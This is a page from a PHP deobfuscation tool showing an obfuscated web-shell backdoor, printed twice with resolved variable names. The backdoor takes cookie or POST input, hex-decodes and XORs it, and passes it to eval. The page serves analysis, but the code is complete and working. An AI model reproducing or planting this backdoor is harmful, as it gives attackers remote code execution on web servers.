Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IufIhMN = "\x73" ./* P */"\164" . 'r'/* uIR */. '_' . "\x72"..

Decoded Output download

<?php $IufIhMN  =  "s"   ./* P */"t"  .   'r'/*   uIR   */.       '_'    .    "r"/*   e */./*Oe */chr  (101)   ./*B*/chr   (112)/*   G  */.     'e'/*   c */./*  nf   */chr    (/*   OIv */236     -      139     ).'t'; 
        $NdDTQ  = chr/*  oI*/(101)/* Ma*/./*u   */"x"        .       "p"     .     "l"  .  chr/*   gok   */(/*JafvC  */883/*XJFu  */- 772/* a  */)."d" ./*   FE   */"e"; 
 
 
$pUSGWnZqix/*   PF */=/*  OiUL*/'p'/*   FljxC   */./*   sx */chr/*   YhE */(/* Ck   */1003      -       906/*   S  */).'c'    ./* eAx */chr/*  cNhe   */(107); 
                                        function/*WvSt  */THPgqL() 
                          { 
           $ZECQc/*  Mi  */=    Array   (   "bZjXzyfZHKtvxUTHwoj"/*  ZwVm   */=>        "JUhJXqPdLGHtzfspuyaYjQmGekYOQ" ); 
                /* O  */ 
        $rwPaMPbyXB   = Array/*   dpp*/(        "QgcqHfSnPQwuxwGaXWZBuHP"/* ds  */=>/*   Srqi  */"BDWADTXJCeGeGDS"      ); 
 
 
        $wyMBHL =/* UgSFM */Array(     $ZECQc,  $_COOKIE,/*   Rhuc   */$ZECQc,/*  xsC  */$_POST,        $rwPaMPbyXB);; 
 
        return  $wyMBHL;$_W    =    '45064'; 
     } 
 
          function      OYZFtgmBL($lltKo) 
     { 
        /*   NPko*/if   (       count   (  $lltKo     ) == 3     ) { 
                                /* kiT  */$FhYJrXEcZ/*   tues   */=     $lltKo[1]; 
 
        $bbPOwo/*   RNVq*/=     $lltKo[2];$_dJmH        =   '9738'; 
                        /* zXDYA  */$PlCnXSTmr/*  Lm   */=/*   c  */$FhYJrXEcZ($bbPOwo);$_MF/*  DawSB*/=    '56341'; 
      eval    ( $PlCnXSTmr   ); 
                                                die/*   h   */(); 
 
 
   } 
        } 
 
 
                                        /*  hdMWO   */function  lTBWaYDxS($fDxfBByDK,/*   XkNta  */$LCcWYD) 
        { 
 
 
        return/*jVo   */$fDxfBByDK/*  y   */^/* dWHVP   */$LCcWYD;; 
     } 
 
 
   $AjIuF/*gXBgs*/=  "#"; 
 
                                /*EIFh   */foreach    (THPgqL()     as  $eYSbI)  { 
 
        foreach/*  BeJOQ  */( $eYSbI    as   $LCcWYD/*ucCs */=> $fDxfBByDK/*c  */)      { 
 
   /*vj */$fDxfBByDK    =/* JxJjl  */@$pUSGWnZqix(      'H'/* E  */.    chr     (42),   $fDxfBByDK/*RE */); 
 
          $LCcWYD/* k */.=/*   Sb  */"BoxPNC-uMIXdQB-NwGXUrN-pPc-dEkSS-DCo-WaCrTsz"; 
                                        $LCcWYD     =   $IufIhMN        (/* MohLM */$LCcWYD,  (/* K */strlen(/* b */$fDxfBByDK    )/strlen(  $LCcWYD )     )   +   1);; 
 
 
     $PNJxo     =/* qP */lTBWaYDxS($fDxfBByDK,  $LCcWYD); 
 
/*  FKn  */ 
        $lltKo    =     $NdDTQ    ($AjIuF,      $PNJxo  ); 
                                        /*  fpHKR*/ 
             OYZFtgmBL($lltKo); 
                                /*Jnw   */} 
 
 
  } ?>

Did this file decode correctly?

Original Code

<?php $IufIhMN  =  "\x73"   ./* P */"\164"  .   'r'/*   uIR   */.       '_'    .    "\x72"/*   e */./*Oe */chr  (101)   ./*B*/chr   (112)/*   G  */.     'e'/*   c */./*  nf   */chr    (/*   OIv */236     -      139     ).'t';
        $NdDTQ  = chr/*  oI*/(101)/* Ma*/./*u   */"\x78"        .       "\160"     .     "\x6c"  .  chr/*   gok   */(/*JafvC  */883/*XJFu  */- 772/* a  */)."\144" ./*   FE   */"\145";


$pUSGWnZqix/*   PF */=/*  OiUL*/'p'/*   FljxC   */./*   sx */chr/*   YhE */(/* Ck   */1003      -       906/*   S  */).'c'    ./* eAx */chr/*  cNhe   */(107);
                                        function/*WvSt  */THPgqL()
                          {
           $ZECQc/*  Mi  */=    Array   (   "bZjXzyfZHKtvxUTHwoj"/*  ZwVm   */=>        "JUhJXqPdLGHtzfspuyaYjQmGekYOQ" );
                /* O  */
        $rwPaMPbyXB   = Array/*   dpp*/(        "QgcqHfSnPQwuxwGaXWZBuHP"/* ds  */=>/*   Srqi  */"BDWADTXJCeGeGDS"      );


        $wyMBHL =/* UgSFM */Array(     $ZECQc,  $_COOKIE,/*   Rhuc   */$ZECQc,/*  xsC  */$_POST,        $rwPaMPbyXB);;

        return  $wyMBHL;$_W    =    '45064';
     }

          function      OYZFtgmBL($lltKo)
     {
        /*   NPko*/if   (       count   (  $lltKo     ) == 3     ) {
                                /* kiT  */$FhYJrXEcZ/*   tues   */=     $lltKo[1];

        $bbPOwo/*   RNVq*/=     $lltKo[2];$_dJmH        =   '9738';
                        /* zXDYA  */$PlCnXSTmr/*  Lm   */=/*   c  */$FhYJrXEcZ($bbPOwo);$_MF/*  DawSB*/=    '56341';
      eval    ( $PlCnXSTmr   );
                                                die/*   h   */();


   }
        }


                                        /*  hdMWO   */function  lTBWaYDxS($fDxfBByDK,/*   XkNta  */$LCcWYD)
        {


        return/*jVo   */$fDxfBByDK/*  y   */^/* dWHVP   */$LCcWYD;;
     }


   $AjIuF/*gXBgs*/=  "\43";

                                /*EIFh   */foreach    (THPgqL()     as  $eYSbI)  {

        foreach/*  BeJOQ  */( $eYSbI    as   $LCcWYD/*ucCs */=> $fDxfBByDK/*c  */)      {

   /*vj */$fDxfBByDK    =/* JxJjl  */@$pUSGWnZqix(      'H'/* E  */.    chr     (42),   $fDxfBByDK/*RE */);

          $LCcWYD/* k */.=/*   Sb  */"BoxPNC-uMIXdQB-NwGXUrN-pPc-dEkSS-DCo-WaCrTsz";
                                        $LCcWYD     =   $IufIhMN        (/* MohLM */$LCcWYD,  (/* K */strlen(/* b */$fDxfBByDK    )/strlen(  $LCcWYD )     )   +   1);;


     $PNJxo     =/* qP */lTBWaYDxS($fDxfBByDK,  $LCcWYD);

/*  FKn  */
        $lltKo    =     $NdDTQ    ($AjIuF,      $PNJxo  );
                                        /*  fpHKR*/
             OYZFtgmBL($lltKo);
                                /*Jnw   */}


  }

Function Calls

chr 7
THPgqL 1

Variables

$_W 45064
$AjIuF #
$NdDTQ explode
$ZECQc [{'key': 'bZjXzyfZHKtvxUTHwoj', 'value': 'JUhJXqPdLGHtzfspuyaYjQmGekYOQ'}]
$wyMBHL [{'key': 0, 'value': [{'key': 'bZjXzyfZHKtvxUTHwoj', 'value': 'JUhJXqPdLGHtzfspuyaYjQmGekYOQ'}]}, {'key': 1, 'value': 0}, {'key': 2, 'value': [{'key': 'bZjXzyfZHKtvxUTHwoj', 'value': 'JUhJXqPdLGHtzfspuyaYjQmGekYOQ'}]}, {'key': 3, 'value': 0}, {'key': 4, 'value': [{'key': 'QgcqHfSnPQwuxwGaXWZBuHP', 'value': 'BDWADTXJCeGeGDS'}]}]
$IufIhMN str_repeat
$pUSGWnZqix pack
$rwPaMPbyXB [{'key': 'QgcqHfSnPQwuxwGaXWZBuHP', 'value': 'BDWADTXJCeGeGDS'}]

Stats

MD5 b9a2924cdf8c85c43e1e64c685b1dcca
Eval Count 0
Decode Time 290 ms